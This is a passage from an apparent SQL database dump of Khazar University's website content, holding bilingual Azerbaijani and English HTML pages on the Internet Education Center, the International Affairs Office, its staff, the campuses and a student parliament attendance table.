src=\"http://www.khazar.org/media/14_12_10_ToT_043.jpg\" style=\"margin-right:10px;width:300px;height:225px\"></a><br></div><div>ToT</div>'),(679,472,'en','Value Chain','Value Chain',''),(680,471,'en','ToT','ToT',''),(681,473,'en','Revenue Management and Economic Diversification','Revenue Management and Economic Diversification',''),(682,474,'en','Summer School','Summer School',''),(683,475,'en','Country Trainings','Country Trainings',''),(1215,447,'az','İnternet Təhsil Mərkəzi','İnternet Təhsil Mərkəzi\r\n','<p><strong>İnternet Təhsil Mərkəzi&nbsp;</strong>Xəzər Universitetində tələbə məlumat mərkəzi yaratmaq, sayta nəzarət etmək, web layihələr reallaşdırmaq məqsədi ilə 1 Oktyabr 2010-cu il tarixində Xəzər Universitetinin Direktor və Qəyyumlar şurasının sədri Hamlet İsaxanlının əmri ilə yaradılmışdır.</p><p>İnternet Təhsil Mərkəzi&nbsp;Xəzər Universitetinin <strong>Neftçilər kampusunda yerləşir (406-cı otaq)</strong>.</p>'),(1216,448,'az','Yaranması','Yaranması','<div><br></div><div><p>Xəzər İnternet İnstitutu Xəzər Universitetində tələbə məlumat mərkəzi yaratmaq, sayta nəzarət etmək, web layihələr reallaşdırmaq məqsədi ilə 1 Oktyabr 2010 tarixində Xəzər Universitetinin Direktor və Qəyyumlar şurasının sədri Hamlet İsaxanlının əmri ilə yaradılıb.</p><p>İnternet İnstitutu Xəzər Universitetinin Neftçilər kampusunda yerləşir (310-cu otaq).</p>  <br></div>'),(1217,449,'az','Məqsədimiz','Məqsədimiz','<ul><li>Xəzər Universitetində Tələbə məlumat sistemi qurmaq</li><li>Xəzər Universitetinin nəzdində mobil proqramlaşdırma mövzusunda laboratoriya açmaq</li><li>Xəzər Universitetinin tələbələri ilə müxtəlif veb layihələr tapmaq və reallaşdırmaq</li><li>Xəzər Universitetinin tanıtımı üçün müxtəlif, internetlə əlaqədar layihələr reallaşdırmaq</li><li>Müxtəlif yarışmalar, müsabiqələr təşkil etmək</li></ul>'),(1218,460,'az','İşçi heyəti','İşçi heyəti','<div><br></div><div><img src=\"http://www.khazar.org/files/image/Mehemmed.png\" style=\"border:1px solid #dddddd;width:150px;height:188px;margin:8px 15px 0px 7px;float:left\"></div><div><p><strong>Məhəmməd Şərifov&nbsp;(Ph.D.)</strong></p><p><strong></strong></p><p>İnternet Təhsil Mərkəzinin&nbsp;rəhbəri, Kompüter Elmləri Departamentinin müəllimi</p><p><strong>Url:&nbsp;</strong><a href=\"http://www.mahammad.info/\">www.mahammad.info</a>&nbsp; |&nbsp;&nbsp;<strong>Email:</strong>&nbsp;<a href=\"mailto:msharifov@khazar.org\">msharifov[at]khazar.org</a><strong>&nbsp;</strong></p><p><strong></strong><strong>Tel:</strong>&nbsp;(+99412) 421 10&nbsp;93 Ext (266)&nbsp; | &nbsp;<strong>Mob:</strong>&nbsp;(+99450) 717 89&nbsp;19</p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"http://www.khazar.org/files/engineering/images/parvana_s.gif\" style=\"border:0px  #000000;width:150px;height:220px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/CV_Parvana_Salmanova_2018.pdf\"><strong>Pərvanə Salmanova</strong></a></p><p>Veb-sayt menecer,&nbsp;Kompüter Elmləri Departamentinin müəllimi</p><p><strong>&nbsp;E-mail:</strong> <a href=\"http://mailto:psalmanova@khazar.org\">psalmanova[at]khazar.org</a></p><p><strong>Tel:</strong>&nbsp;(+99412)&nbsp;421 10&nbsp;93 Ext (266)&nbsp; | &nbsp;<strong>Mob:</strong>&nbsp;(+99477)&nbsp;520 24 70<br></p></div>'),(1219,450,'az','Xəzər TV','Xəzər TV','<div><br></div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"> <strong>Xəzər Tv</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong></strong>Xəzər Universitetinin&nbsp; Xəzərin səsi &nbsp;internet TV-si &nbsp;2010-cu ildən yayıma başlayıb. Bütün dünyada 24 saat yayımlanan&nbsp; bu kanalda&nbsp; dünya və Azərbaycan filmləri, müxtəlif üslublu milli musiqi, klassik musiqi və digər proqramlar nümayiş etdirilir. Bu, Azərbaycanın ilk universitet televiziya kanalıdır. (tv.radiokhazar.org).</p><p><a href=\"http://radiokhazar.org/radio/\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"></a><a href=\"http://radiokhazar.org/radio/\" style=\"outline:none;font-weight:bold;color:#3a3b3b;font-family:\'times new roman\', times, serif\">Xəzər TV saytına baxa bilərsiniz.</a><br></p>'),(1220,741,'en','International Affairs Office','International Affairs Office','<div><br></div><p><strong>Welcome to the International Affairs Office!</strong></p><p><strong></strong>On this page you will find information about our mission, services, international partnerships, exchange programs, study and research opportunities and much more!</p><p><br><br><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">International Affairs Office</a></strong></p><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\"></a></strong><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\"></a><span style=\"font-size:large\"><strong><br></strong></span><br><img src=\"/files/image/thumbnail_14_12_10_new_facebook.jpg\" width=\"20\" height=\"20\" style=\"width:20px;height:20px;float:left\">&nbsp;Follow us on Facebook:</p><p><a href=\"https://www.facebook.com/KhazarInternationalOffice\" target=\"_blank\">Khazar University International Office</a></p><div><br></div><img src=\"http://www.khazar.org/files/14_12_09_international_cover.jpg\" style=\"border:0px #000000;width:500px;height:220px;margin:7px;float:left;vertical-align:middle\"><br>  <div><br></div>'),(1221,741,'az','Beynəlxalq Əlaqələr Ofisi','Beynəlxalq Əlaqələr Ofisi','<div><br></div><p><strong>Beynəlxalq Əlaqələr Ofisinə Xoş Gəlmişsiniz!</strong></p><p><strong></strong>Bu səhifədə siz bizim missiya, göstərdiyimiz xidmətlər, beynəlxalq əməkdaşlıqlar, mübadilə proqramları,&nbsp; təhsil və tədqiqat imkanları və digər məlumatlar əldə edə bilərsiniz!</p><p><br></p><p style=\"font-size:large\"><strong><a href=\"http://www.khazar.org/az/menus/159/beynelxalq_elaqeler_ofisi\">Beynəlxalq Əlaqələr Ofisi</a>&nbsp;</strong></p><p style=\"font-size:large\"><strong><br></strong></p><p><img src=\"/files/image/thumbnail_14_12_10_new_facebook.jpg\" width=\"20\" height=\"20\" style=\"width:20px;height:20px;float:left\"><span style=\"font-family:arial, helvetica, sans-serif\">&nbsp;Bizi Facebookda izləyin:</span></p><p><span style=\"font-family:arial, helvetica, sans-serif\"></span><a href=\"https://www.facebook.com/KhazarInternationalOffice\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif\">Khazar University International Offic</a><a href=\"https://www.facebook.com/KhazarInternationalOffice\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif\">e</a>&nbsp;</p><div><img src=\"http://www.khazar.org/files/14_12_09_international_cover.jpg\" style=\"border:0px #000000;width:500px;height:220px;margin:7px;vertical-align:middle\"></div>'),(1222,744,'az','Bizim heyət','Bizim heyət','<div><br></div><div> <div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div style=\"background:undefined \"><img src=\"http://www.khazar.org/files/turan%20ceferova.JPG\" style=\"width:150px;height:187px;margin:7px;float:left\"><br></div><div style=\"background:undefined \"><p style=\"background:undefined \"><strong>Turan Cəfərova</strong></p><p style=\"background:undefined \"><strong>Beynəlxalq əlaqələr ofisinin direktoru</strong></p><p style=\"background:undefined \">&nbsp;<a href=\"http://www.khazar.org/files/Turan_Jafarova%20cv.pdf\" target=\"_blank\">CV</a></p></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><img src=\"http://www.khazar.org/files/gunay.JPG\" style=\"width:150px;height:185px;margin:7px;float:left\"><br></div><div style=\"background:undefined \"><strong><br></strong></div><div style=\"background:undefined \"><strong>Günay Fərzəliyeva</strong></div><div style=\"background:undefined \"><p style=\"background:undefined \"><strong>Direktor Assistenti&nbsp;</strong></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/Gunay%20Farzaliyeva%20cv.pdf\">&nbsp;CV</a></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/files/mirze.JPG\" style=\"margin:7px;float:left;width:150px;height:180px\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;background:#ffffff \"><strong>Mirzəağa Səmədov</strong></p><p style=\"background:undefined \"><strong>Ofis assistenti</strong></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/Mirzaaga%20Samadov%20cv.pdf\">&nbsp;CV</a></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p></div></div><br></div>'),(1223,744,'en','Meet Our Team','Meet Our Team','<div><br></div><div> <div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p style=\"background:undefined \"><strong>&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/turan%20ceferova.JPG\" style=\"width:150px;height:187px;margin:7px;float:left\"><br></strong></p><p style=\"background:undefined \"><strong>Turan Jafarova</strong></p><p style=\"background:undefined \">&nbsp; &nbsp;<strong>Director &nbsp;International Affairs Office</strong></p><p style=\"background:undefined \">&nbsp; &nbsp;<a href=\"http://www.khazar.org/files/Turan_Jafarova%20cv.pdf\" target=\"_blank\">CV</a></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/files/gunay.JPG\" style=\"width:150px;height:185px;margin:7px;float:left\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;background:#ffffff \"><strong>Gunay&nbsp;<strong>Farzaliyeva</strong></strong></p><p style=\"background:undefined \"><strong>Director’s Assistant</strong></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/Gunay%20Farzaliyeva%20cv.pdf\">&nbsp;CV</a></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><img src=\"http://www.khazar.org/files/mirze.JPG\" style=\"margin:7px;width:150px;height:180px;float:left\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;background:#ffffff \"><strong>Mirzaaga Samadov</strong></p><p style=\"background:undefined \"><strong>Office Assistant&nbsp;</strong></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/Mirzaaga%20Samadov%20cv.pdf\">&nbsp;CV</a></p></div><div><br></div><br></div>'),(1224,743,'en','About us','About us','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Welcome to the International Affairs Office!</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br>The mission of the International Affairs Office is to coordinate, encourage and contribute to the internationalization of the Khazar University.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The International Affairs Office of Khazar University is responsible for the university’s overall international strategy, including recruitment, student exchange and cooperation with universities and other organizations.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The International Affairs Office also provides guidance and advising services to international students and scholars of Khazar University.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Our key roles include but are not limited to:</p><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></span><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li>Initiating and managing international cooperation agreements and partnerships</li><li>Representing the university at local and international conferences, fairs and other events</li><li>Coordinating the exchange programs, e.g. Erasmus Mundus, Mevlana</li><li>Coordinating individual inter-university student exchanges</li><li>Providing support services for international students, academic staff and visitors</li><li>Assisting international students in maintaining their legal status in Azerbaijan, providing support to their dependents</li></ul><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></span><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">International Affairs Office provides full support for the internationals visiting University for study, research, teaching or other purposes. Support services include:</p><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></span><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li>Visa registration</li><li>Arrival arrangements</li><li>Housing information</li><li>Immigration advising</li><li>Orientation programs</li><li>Extension of academic stays for valid reasons</li><li>Counseling related to emergencies and unexpected immigration problems.</li></ul><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></span><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">If you are an international student interested in:</p><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></span><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li>studying in a full degree program at Khazar University</li><li>studying at Khazar University within an exchange program</li><li>spending a semester abroad</li></ul><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></span><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">We are the right place for you to start finding out more.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Check out our web page for more information for international applicants and for&nbsp;<a href=\"http://www.khazar.org/s875/Exchange-Programs/en\"><strong>exchange students</strong></a>&nbsp;or&nbsp;<a href=\"http://www.khazar.org/s824/Contact-us-Staff/en\"><strong>contact us</strong></a>&nbsp;directly if you have questions or need assistance.</p>  <br></div>'),(1225,748,'en','Campus','Campus','<div><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The classes at the university are conducted in 5 educational campuses with a total area of 17.542 square meters.  <br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p><strong>Neftchilar Campus-1<img src=\"/files/image/X%C9%99z%C9%99r_Universiteti%2001.jpg\" style=\"width:150px;height:100px;margin:7px;float:right\"></strong></p><p>Address: 11 Mahsati Street</p><p>The publishing house, printing house, copy center, scientific and educational laboratories, academic departments, scientific institutes and centers as well as the offices of published literary-publicistic journals are located here. One part of the rich university library, modern computer centers, medical center and a sport hall serve students and staff members.</p><br><div><br></div><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p><strong>Neftchilar Campus-2<img src=\"/files/image/X%C9%99z%C9%99r_Universiteti%2002.jpg\" style=\"width:150px;height:241px;margin:7px;float:right\"></strong></p><p>Address: 11 Mahsati Street</p><p>The educational building consists of computer centers equipped with the most modern computers, modern whiteboards, and projectors, as well as large and light lecture rooms equipped with video-control systems; a canteen which exceeds all hygiene requirements and covers the first floor of the building; a large library which is located on the 5th and 6th floors of the building and is rich in modern textbooks; and a specially-designed conference hall.</p>  <br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p><strong>Downtown Campus<img src=\"/files/image/X%C9%99z%C9%99r_Universitet%2003.jpg\" style=\"width:150px;height:100px;margin:7px;float:right\"></strong></p><p><br></p><p>Address: 122 Bashir Safaroglu Street</p><p>This building consists of over 20 classrooms, a conference center, canteen, library and computer laboratory as well as a beautiful theater hall seating 280 people. The same hall is used for conducting conferences, reading days, various meetings and other events.</p>  <br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Binagadi Campus&nbsp;</strong>&nbsp;&nbsp;&nbsp;<img src=\"/files/image/D%C3%BCnya_m%C9%99kt%C9%99bi_binas%C4%B1.jpg\" style=\"width:150px;height:111px;margin:7px;float:right\"></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Address: 9 Nakhchivani Street</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Khazar University’s affiliate Dunya School is located here, and some classes of the School of Education are held here as well. This campus, built according to a modern design, takes up approximately one hectare. It houses three academic buildings and a separate sports complex, and is equipped with all the necessary facilities including a library, scientific laboratories, computer laboratories, a cafeteria, a guesthouse and more. The Khazar University Technopark is also located on this campus.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div class=\"undefined\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong style=\"font-family:\'times new roman\', times, serif\">Khazar University Psychological Consultation and Psychotherapy Center</strong>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></div><br></span><table width=\"660\" height=\"65\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;</td><td>Address: 31 Hazi Aslanov Street</td></tr><tr><td>&nbsp;</td><td>The aforementioned center of the university conducts activity on this site. The Center serves</td></tr><tr><td>&nbsp;</td><td>the public and organizations along with being engaged in scientific research and education.</td></tr></tbody></table>  <p style=\"font-family:\'times new roman\', times, serif\"><br></p>  <br></div>'),(684,476,'en','Staff','Staff','<div><div><p><strong>President</strong>&nbsp;Mirzaağa Samadov</p><p><strong>Vice President</strong>&nbsp;Azıza Jafarli&nbsp;</p><p>&nbsp;</p><p><strong>Deputies</strong></p><p><strong><br></strong></p><p>1.Jalal Huseynbayli – Level up coordinator (<a href=\"http://www.khazar.org/files/Jalal_Huseynbeyli.doc\">CV</a>)</p><p>2.Nilufer Alizadeh -ATGT coordinator (<a href=\"http://www.khazar.org/files/Nilufar_Alizada.docx\">CV</a>)</p><p>3.Nurana Guluzadeh -webpage (<a href=\"http://www.khazar.org/files/CV_Nurana.docx\">CV</a>)</p><p>4.Jeyhun Jabayev- Concerts and Parties (<a href=\"http://www.khazar.org/files/Ceyhun_Cabayev_CV.doc\">CV</a>)</p><p>5. Ruslan Ismayilov- Parlamentiary</p><div><br></div></div></div>'),(685,477,'en','Parliamentary','Parliamentary','<h6>Parlament of Student Union<a title=\"Schedule Spring 2015\" href=\"http://www.khazar.org/s7713/Schedule-Spring-2015/en\"><strong>Schedule</strong></a>  <br><br></h6><div><br></div><h6><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"103\">Faculty</td><td width=\"138\">Major</td><td width=\"92\">Course&nbsp;</td><td width=\"105\">Name Surname</td><td width=\"102\">Activity ( max 10 )&nbsp;</td><td width=\"99\">Attendance05.04.2015&nbsp;</td></tr><tr><td width=\"103\"><strong>School of Engineering and Applied Science</strong></td><td width=\"138\">Computer Engineering&nbsp;</td><td width=\"92\">General</td><td width=\"105\">Rufet Qasimzade</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Computer Engineering&nbsp;</td><td width=\"92\">1</td><td width=\"105\">Alibaba Bağirov</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Computer Engineering&nbsp;</td><td width=\"92\">3</td><td width=\"105\">Cavad Atakishiyev</td><td width=\"102\">7</td><td width=\"99\">N!</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Oil and Gas Engineering</td><td width=\"92\">General</td><td width=\"105\">Rza Mohsunov</td><td width=\"102\">8</td><td width=\"99\">N!</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Oil and Gas Engineering</td><td width=\"92\">1</td><td width=\"105\">Farid Quliyev</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Oil and Gas Engineering</td><td width=\"92\">2</td><td width=\"105\">Arif İmanov</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Chemical Engineering&nbsp;</td><td width=\"92\">General</td><td width=\"105\">Narmin İsayeva</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Chemical Engineering</td><td width=\"92\">1</td><td width=\"105\">Esmer Hasanova</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Civil Engineering</td><td width=\"92\">1</td><td width=\"105\">Nicat Aliyev</td><td width=\"102\">5</td><td width=\"99\">N!</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Electronics&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Engineering</td><td width=\"92\">1</td><td width=\"105\">Aziz Qubadli</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Bio Medical Engineering</td><td width=\"92\">General</td><td width=\"105\">Fidan Haciyeva</td><td width=\"102\">9</td><td width=\"99\">N!</td></tr><tr><td width=\"103\"><strong>School of Economics and Management</strong></td><td width=\"138\">Finance</td><td width=\"92\">General</td><td width=\"105\">Eldar Zeynalov</td><td width=\"102\">9</td><td width=\"99\">N!</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Finance</td><td width=\"92\">1</td><td width=\"105\">Nihad Mehtiyev</td><td width=\"102\">7</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Finance</td><td width=\"92\">3</td><td width=\"105\">Elnur Badalov</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Accounting and auditing</td><td width=\"92\">General</td><td width=\"105\">Tural Bayramlı</td><td width=\"102\">9</td><td width=\"99\">N!</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Accounting and auditing</td><td width=\"92\">3</td><td width=\"105\">Kanan Atayev</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Management</td><td width=\"92\">General</td><td width=\"105\">Gulnar Aghayeva</td><td width=\"102\">9</td><td width=\"99\">N!</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Management</td><td width=\"92\">1</td><td width=\"105\">Elvin Baghirov</td><td width=\"102\">9</td><td width=\"99\">+</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Menecment</td><td width=\"92\">1</td><td width=\"105\">Aslan İsaxanlı</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Management</td><td width=\"92\">2</td><td width=\"105\">Ozal Hüseynov</td><td width=\"102\">8</td><td width=\"99\">N!</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Marketing</td><td width=\"92\">General</td><td width=\"105\">Emil Bayramov</td><td width=\"102\">8</td><td width=\"99\">N!</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Marketing</td><td width=\"92\">1</td><td width=\"105\">Mina Maharramova</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Marketing</td><td width=\"92\">2</td><td width=\"105\">Ayaz Babayev</td><td width=\"102\">8</td><td width=\"99\">N!</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Economy</td><td width=\"92\">General</td><td width=\"105\">Yashar Yusifli</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">&nbsp;</td><td width=\"92\">3</td><td width=\"105\">Xeqani Qasımov</td><td width=\"102\">5</td><td width=\"99\">N!</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Biznesin idr.</td><td width=\"92\">General</td><td width=\"105\">Etibar Saatov</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Business Management&nbsp;</td><td width=\"92\">1</td><td width=\"105\">Vusale Babayeva</td><td width=\"102\">5</td><td width=\"99\">N!</td></tr><tr><td width=\"103\"><strong>School of Education</strong></td><td width=\"138\">Elementary school teacher</td><td width=\"92\">General</td><td width=\"105\">Aydan Cafarli</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Mathematics and Computer Education</td><td width=\"92\">General</td><td width=\"105\">Cemile Aziz-zada</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Mathematics and Computer Education</td><td width=\"92\">1</td><td width=\"105\">Madina Suleymanova</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Mathematics and Computer Education</td><td width=\"92\">3</td><td width=\"105\">Gülcahan Vekilizade</td><td width=\"102\">5</td><td width=\"99\">N!</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Chemistry and Biology Education</td><td width=\"92\">General</td><td width=\"105\">Püste Etibarqızı</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Chemistry and Biology Education</td><td width=\"92\">3</td><td width=\"105\">Qurbanova Xayala</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Chemistry and Biology Education</td><td width=\"92\">3</td><td width=\"105\">Humay Cahangirova</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">History Teacher</td><td width=\"92\">General</td><td width=\"105\">İlahe Yusifli</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">History Teacher</td><td width=\"92\">2</td><td width=\"105\">Zaur Mutallibov</td><td width=\"102\">5</td><td width=\"99\">N!</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">History Teacher</td><td width=\"92\">2</td><td width=\"105\">Vecah Shukurova</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">History Teacher</td><td width=\"92\">3</td><td width=\"105\">Nurmammad Mammadov</td><td width=\"102\">9</td><td width=\"99\">N!</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">Geography Teacher&nbsp;</td><td width=\"92\">General</td><td width=\"105\">Türkan Semedova</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">Geography Teacher&nbsp;</td><td width=\"92\">4</td><td width=\"105\">Vüsal Hasanov</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">English Language and Literature</td><td width=\"92\">General</td><td width=\"105\">Mehman Esedli</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\"><strong>New</strong></td><td width=\"138\">English Language and Literature</td><td width=\"92\">1</td><td width=\"105\">Fatime Qambarli</td><td width=\"102\">&nbsp;</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;</td><td width=\"138\">English Language and Literature</td><td width=\"92\">3</td><td width=\"105\">Sevda Esgerova</td><td width=\"102\">10</td><td width=\"99\">+</td></tr><tr><td width=\"103\">&nbsp;&nbsp;</td><td width=\"138\">English Language and Literature</td><td width=\"92\">4</td><td width=\"105\">Nermin Rzayeva</td><td width=\"102\">9</td><td width=\"99\">N!&nbsp;</td></tr></tbody></table>&nbsp;<table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">English Language and Literature</td><td colspan=\"2\" width=\"104\">1</td><td colspan=\"2\" width=\"106\">Briliant Elcıyeva</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Philology</td><td colspan=\"2\" width=\"104\">General</td><td colspan=\"2\" width=\"106\">Nizami Elisoy</td><td colspan=\"2\" width=\"103\">10</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Philology</td><td colspan=\"2\" width=\"104\">2</td><td colspan=\"2\" width=\"106\">Fidan Hüseynli</td><td 